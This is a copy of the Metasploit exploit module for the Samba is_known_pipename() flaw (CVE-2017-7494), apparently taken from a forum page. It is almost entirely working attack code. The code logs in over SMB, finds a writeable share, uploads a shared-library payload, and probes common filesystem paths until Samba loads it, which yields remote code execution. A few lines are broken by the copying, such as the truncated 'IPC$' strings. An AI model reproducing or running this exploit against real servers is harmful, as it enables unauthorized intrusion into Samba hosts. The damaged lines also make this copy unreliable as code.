|
- ##
- # This module requires Metasploit: http://metasploit.com/download
- # Current source: https://github.com/rapid7/metasploit-framework
- ##
- class MetasploitModule < Msf::Exploit::Remote
- Rank = ExcellentRanking
- include Msf::Exploit::Remote::DCERPC
- include Msf::Exploit::Remote::SMB::Client
- def initialize(info = {})
- super(update_info(info,
- 'Name' => 'Samba is_known_pipename() Arbitrary Module Load',
- 'Description' => %q{
- This module triggers an arbitrary shared library load vulnerability
- in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module
- requires valid credentials, a writeable folder in an accessible share,
- and knowledge of the server-side path of the writeable folder. In
- some cases, anonymous access combined with common filesystem locations
- can be used to automatically exploit this vulnerability.
- },
- 'Author' =>
- [
- 'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery
- 'hdm', # Metasploit Module
- ],
- 'License' => MSF_LICENSE,
- 'References' =>
- [
- [ 'CVE', '2017-7494' ],
- [ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],
- ],
- 'Payload' =>
- {
- 'Space' => 9000,
- 'DisableNops' => true
- },
- 'Platform' => 'linux',
- #
- # Targets are currently limited by platforms with ELF-SO payload wrappers
- #
- 'Targets' =>
- [
- [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],
- [ 'Linux x86', { 'Arch' => ARCH_X86 } ],
- [ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],
- # [ 'Linux MIPS', { 'Arch' => MIPS } ],
- ],
- 'Privileged' => true,
- 'DisclosureDate' => 'Mar 24 2017',
- 'DefaultTarget' => 2))
- register_options(
- [
- OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),
- OptString.new('SMB_SHARE_BASE', [false, 'The remote filesystem path correlating with the SMB share name']),
- OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),
- ])
- end
- def generate_common_locations
- candidates = []
- if datastore['SMB_SHARE_BASE'].to_s.length > 0
- candidates << datastore['SMB_SHARE_BASE']
- end
- %W{/volume1 /volume2 /volume3 /shared /mnt /mnt/usb /media /mnt/media /var/samba /tmp /home /home/shared}.each do |base_name|
- candidates << base_name
- candidates << [base_name, @share]
- candidates << [base_name, @share.downcase]
- candidates << [base_name, @share.upcase]
- candidates << [base_name, @share.capitalize]
- candidates << [base_name, @share.gsub(" ", "_")]
- end
- candidates.uniq
- end
- def enumerate_directories(share)
- begin
- self.simple.connect("\\\\#{rhost}\\#{share}")
- stuff = self.simple.client.find_first("\\*")
- directories = [""]
- stuff.each_pair do |entry,entry_attr|
- next if %W{. ..}.include?(entry)
- next unless entry_attr['type'] == 'D'
- directories << entry
- end
- return directories
- rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
- vprint_error("Enum #{share}: #{e}")
- return nil
- ensure
- if self.simple.shares["\\\\#{rhost}\\#{share}"]
- self.simple.disconnect("\\\\#{rhost}\\#{share}")
- end
- end
- end
- def verify_writeable_directory(share, directory="")
- begin
- self.simple.connect("\\\\#{rhost}\\#{share}")
- random_filename = Rex::Text.rand_text_alpha(5)+".txt"
- filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"
- wfd = simple.open(filename, 'rwct')
- wfd << Rex::Text.rand_text_alpha(8)
- wfd.close
- simple.delete(filename)
- return true
- rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
- vprint_error("Write #{share}#{filename}: #{e}")
- return false
- ensure
- if self.simple.shares["\\\\#{rhost}\\#{share}"]
- self.simple.disconnect("\\\\#{rhost}\\#{share}")
- end
- end
- end
- def share_type(val)
- [ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val]
- end
- def enumerate_shares_lanman
- shares = []
- begin
- res = self.simple.client.trans(
- "\\PIPE\\LANMAN",
- (
- [0x00].pack('v') +
- "WrLeh\x00" +
- "B13BWz\x00" +
- [0x01, 65406].pack("vv")
- ))
- rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
- vprint_error("Could not enumerate shares via LANMAN")
- return []
- end
- if res.nil?
- vprint_error("Could not enumerate shares via LANMAN")
- return []
- end
- lerror, lconv, lentries, lcount = res['Payload'].to_s[
- res['Payload'].v['ParamOffset'],
- res['Payload'].v['ParamCount']
- ].unpack("v4")
- data = res['Payload'].to_s[
- res['Payload'].v['DataOffset'],
- res['Payload'].v['DataCount']
- ]
- 0.upto(lentries - 1) do |i|
- sname,tmp = data[(i * 20) + 0, 14].split("\x00")
- stype = data[(i * 20) + 14, 2].unpack('v')[0]
- scoff = data[(i * 20) + 16, 2].unpack('v')[0]
- scoff -= lconv if lconv != 0
- scomm,tmp = data[scoff, data.length - scoff].split("\x00")
- shares << [ sname, share_type(stype), scomm]
- end
- shares
- end
- def probe_module_path(path)
- begin
- simple.create_pipe(path)
- rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
- vprint_error("Probe: #{path}: #{e}")
- end
- end
- def find_writeable_path(share)
- subdirs = enumerate_directories(share)
- return unless subdirs
- if datastore['SMB_FOLDER'].to_s.length > 0
- subdirs.unshift(datastore['SMB_FOLDER'])
- end
- subdirs.each do |subdir|
- next unless verify_writeable_directory(share, subdir)
- return subdir
- end
- nil
- end
- def find_writeable_share_path
- @path = nil
- share_info = enumerate_shares_lanman
- if datastore['SMB_SHARE_NAME'].to_s.length > 0
- share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']
- end
- share_info.each do |share|
- next if share.first.upcase == 'IPC
- found = find_writeable_path(share.first)
- next unless found
- @share = share.first
- @path = found
- break
- end
- end
- def find_writeable
- find_writeable_share_path
- unless @share && @path
- print_error("No suiteable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")
- fail_with(Failure::NoTarget, "No matching target")
- end
- print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")
- end
- def upload_payload
- begin
- self.simple.connect("\\\\#{rhost}\\#{@share}")
- random_filename = Rex::Text.rand_text_alpha(8)+".so"
- filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"
- wfd = simple.open(filename, 'rwct')
- wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform,
- payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform}
- )
- wfd.close
- @payload_name = random_filename
- return true
- rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
- print_error("Write #{@share}#{filename}: #{e}")
- return false
- ensure
- if self.simple.shares["\\\\#{rhost}\\#{@share}"]
- self.simple.disconnect("\\\\#{rhost}\\#{@share}")
- end
- end
- end
- def find_payload
- print_status("Payload is stored in //#{rhost}/#{@share}/#{@path} as #{@payload_name}")
- # Reconnect to IPC$
- simple.connect("\\\\#{rhost}\\IPC$")
- #
- # In a perfect world we would find a way make IPC
- s associated CWD
- # change to our share path, which would allow the following code:
- #
- # probe_module_path("/proc/self/cwd/#{@path}/#{@payload_name}")
- #
- # Until we find a better way, brute force based on common paths
- generate_common_locations.each do |location|
- target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/')
- print_status("Trying location #{target}...")
- probe_module_path(target)
- end
- end
- def exploit
- # Setup SMB
- connect
- smb_login
- # Find a writeable share
- find_writeable
- # Upload the shared library payload
- upload_payload
- # Find and execute the payload from the share
- find_payload rescue Rex::StreamClosedError
- # Shutdown
- disconnect
- end
- end
复制代码
|
|